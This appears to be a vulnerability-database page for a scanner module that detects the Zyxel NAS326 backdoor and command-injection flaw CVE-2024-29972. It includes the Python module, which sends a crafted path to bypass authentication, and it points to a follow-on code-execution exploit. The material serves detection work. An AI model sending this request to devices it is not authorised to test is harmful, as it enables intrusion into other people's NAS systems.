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Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated command injection in Zyxel NAS326 "remote_help-cgi" allows OS commands.

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githubexploit
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Exploit for OS Command Injection in Zyxel Nas326_Firmware
20 Jun 202411:12
–githubexploit
bdu_fstec
BDU FSTEC
Remote_help-cgi Code Execution
5 Jun 202400:00
–bdu_fstec
circl
Circl
CVE-2024-29972
5 Jun 202417:33
–circl
cve
CVE
CVE-2024-29972
4 Jun 202401:24
–cve
cvelist
Cvelist
CVE-2024-29972
4 Jun 202401:24
–cvelist
kitploit
Kitploit
CVE-2024-29972
1 Nov 202600:47
–kitploit
kittysploit
KittySploit
Zyxel NAS remote_help RCE (CVE-2024-29972)
5 Oct 202614:20
–kittysploit
nuclei
Nuclei
Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
3 Nov 202602:03
–nuclei
nvd
NVD
CVE-2024-29972
4 Jun 202402:15
–nvd
openvas
OpenVAS
Zyxel NAS Multiple Vulnerabilities (Jun 2024) - Active Check
6 Jun 202400:00
–openvas
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions bef."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account Detection',
        'description': 'The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'zyxel', 'backdoor', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/zyxel_nas_cve_2024_29972_rce'],
            },
        },
        'references': [
            'https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/',
            'https://nvd.nist.gov/vuln/detail/CVE-2024-29972',
        ],
        'cve': 'CVE-2024-29972',
    }

    def run(self):
        path = '/desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('result=0',)
        if any(m in body for m in body_any):
            self.set_info(severity='critical', reason='Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account detected', path=path)
            return True
        return False

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05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.90349
SSVC
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